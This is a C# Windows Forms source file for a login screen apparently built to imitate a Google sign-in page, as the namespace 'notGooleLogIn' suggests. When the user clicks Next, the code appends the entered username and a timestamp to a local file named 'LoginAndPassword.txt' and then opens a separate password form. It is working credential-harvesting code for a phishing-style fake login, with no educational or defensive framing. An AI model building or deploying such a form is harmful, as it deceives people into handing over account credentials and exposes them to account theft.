using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.IO; using System.Linq; using System.Net.Mail; using System.Net; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace notGooleLogIn { public partial class logIn : Form { public logIn() { InitializeComponent(); } private void Next_Click(object sender, EventArgs e) { bool exeDirectoryExists = Directory.Exists(AppDomain.CurrentDomain.BaseDirectory); if (!exeDirectoryExists) { foreach (Form form in Application.OpenForms) { form.Close(); } } else { string exeDirectory = AppDomain.CurrentDomain.BaseDirectory; string logDirectory = Path.Combine(exeDirectory, "Login Information"); string logFilePath = Path.Combine(logDirectory, "LoginAndPassword.txt"); string username = $"Log in started @ {DateTime.Now}" + Environment.NewLine + $"User Name: {userNameTxtBox.Text}" + Environment.NewLine; if (!Directory.Exists(logDirectory)) { Directory.CreateDirectory(logDirectory); } if (!File.Exists(logFilePath)) { using (var sw = File.CreateText(logFilePath)) { sw.WriteLine(username); } } else { using (StreamWriter sw = File.AppendText(logFilePath)) { sw.Write(username); } } var frm = new passWord(); frm.Show(); Hide(); } } private void enter(object sender, KeyEventArgs e) { if(e.KeyCode == Keys.Enter) { Next.PerformClick(); } } } }